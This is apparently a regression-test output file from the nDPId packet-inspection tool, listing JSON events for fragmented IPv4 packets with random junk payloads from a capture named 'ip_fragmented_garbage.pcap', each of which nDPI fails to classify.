+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5211,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":562611,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhlEAGRB0KAAACCoAAAmZ0Zz9HUj9HUj9zUj83NDg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5211,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5212,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":562627,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhlkAGRBsKAAACCoAAAjM5NikoKiZeJSQjQCFAIyQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5212,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5213,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":562645,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhmEAGRBkKAAACCoAAAiVeJiooKSgqJl4lJCNAIyQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5213,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5214,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":562661,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhmkAGRBcKAAACCoAAAiVeJiooKiZeJSQjJiooS0k="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5214,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5215,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":562676,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhnEAGRBUKAAACCoAAAkpIR0ZEMiomREZHSEpLJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5215,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5216,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":562693,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhnkAGRBMKAAACCoAAAiUkIyNFVFIlWV5VJkkqT1A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5216,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5217,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":562709,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhoEAGRBEKAAACCoAAAnsiOmhkZmxrZGE+TDxNTkI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5217,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5218,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":562722,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhokAGRA8KAAACCoAAAkhHRkRFVyNAJCVeSEJHVgo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5218,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5219,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":562735,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhpEAGRA0KAAACCoAAAjQyMTQ2MzE5ODIwNTEpKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5219,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5220,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":562748,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhpkAGRAsKAAACCoAAAiZeJSQjQCMkJV4mKigqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5220,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5221,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":562761,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhqEAGRAkKAAACCoAAAiUkI3JzZGx1aGdrZmRzYms="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5221,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00383{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5222,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":562770,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhqkAGRAcKAAACCoAAAm52Yy8udGdmdGc\/R1I\/R1I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5222,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5223,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":562782,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhrEAGRAUKAAACCoAAAj9zUj83NDgzOTYpKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5223,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5224,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":562791,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhrkAGRAMKAAACCoAAAiQjQCFAIyQlXiYqKCkoKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5224,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5225,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":562806,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhsEAGRAEKAAACCoAAAl4lJCNAIyQlXiYqKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5225,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5226,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":562818,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhskAGQ\/8KAAACCoAAAiQjJiooS0lKSEdGRDIqJkQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5226,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5227,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":562832,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhtEAGQ\/0KAAACCoAAAkZHSEpLJl4lJCMjRVRSJVk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5227,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5228,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":562845,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhtkAGQ\/sKAAACCoAAAl5VJkkqT1B7IjpoZGZsa2Q="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5228,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5229,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":562860,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhuEAGQ\/kKAAACCoAAAmE+TDxNTkJIR0ZERVcjQCQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5229,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5230,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":562873,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhukAGQ\/cKAAACCoAAAiVeSEJHVgo0MjE0NjMxOTg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5230,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5231,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":562885,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhvEAGQ\/UKAAACCoAAAjIwNTEpKComXiUkI0AjJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5231,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5232,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":562898,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhvkAGQ\/MKAAACCoAAAl4mKigqJl4lJCNyc2RsdWg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5232,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5233,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":562910,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhwEAGQ\/EKAAACCoAAAmdrZmRzYmtudmMvLnRnZnQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5233,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00385{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5234,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":562925,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhwkAGQ+8KAAACCoAAAmc\/R1I\/R1I\/c1I\/NzQ4Mzk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5234,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5235,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":562937,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhxEAGQ+0KAAACCoAAAjYpKComXiUkI0AhQCMkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5235,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5236,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":562950,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhxkAGQ+sKAAACCoAAAiYqKCkoKiZeJSQjQCMkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5236,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5237,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":562969,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhyEAGQ+kKAAACCoAAAiYqKComXiUkIyYqKEtJSkg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5237,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5238,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":562982,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhykAGQ+cKAAACCoAAAkdGRDIqJkRGR0hKSyZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5238,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5239,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":562997,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhzEAGQ+UKAAACCoAAAiMjRVRSJVleVSZJKk9QeyI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5239,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5240,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":563011,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhzkAGQ+MKAAACCoAAAjpoZGZsa2RhPkw8TU5CSEc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5240,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5241,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":563024,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh0EAGQ+EKAAACCoAAAkZERVcjQCQlXkhCR1YKNDI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5241,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5242,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":563040,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh0kAGQ98KAAACCoAAAjE0NjMxOTgyMDUxKSgqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5242,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5243,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":563052,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh1EAGQ90KAAACCoAAAiUkI0AjJCVeJiooKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5243,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5244,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":563065,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh1kAGQ9sKAAACCoAAAiNyc2RsdWhna2Zkc2JrbnY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5244,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5245,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":563080,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh2EAGQ9kKAAACCoAAAmMvLnRnZnRnP0dSP0dSP3M="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5245,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5246,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":563093,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh2kAGQ9cKAAACCoAAAlI\/NzQ4Mzk2KSgqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5246,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5247,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":563106,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh3EAGQ9UKAAACCoAAAkAhQCMkJV4mKigpKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5247,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5248,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":563118,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh3kAGQ9MKAAACCoAAAiQjQCMkJV4mKigqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5248,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5249,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":563131,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh4EAGQ9EKAAACCoAAAiYqKEtJSkhHRkQyKiZERkc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5249,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5250,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":563143,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh4kAGQ88KAAACCoAAAkhKSyZeJSQjI0VUUiVZXlU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5250,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5251,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":563157,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh5EAGQ80KAAACCoAAAiZJKk9QeyI6aGRmbGtkYT4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5251,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5252,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":563169,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh5kAGQ8sKAAACCoAAAkw8TU5CSEdGREVXI0AkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5252,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 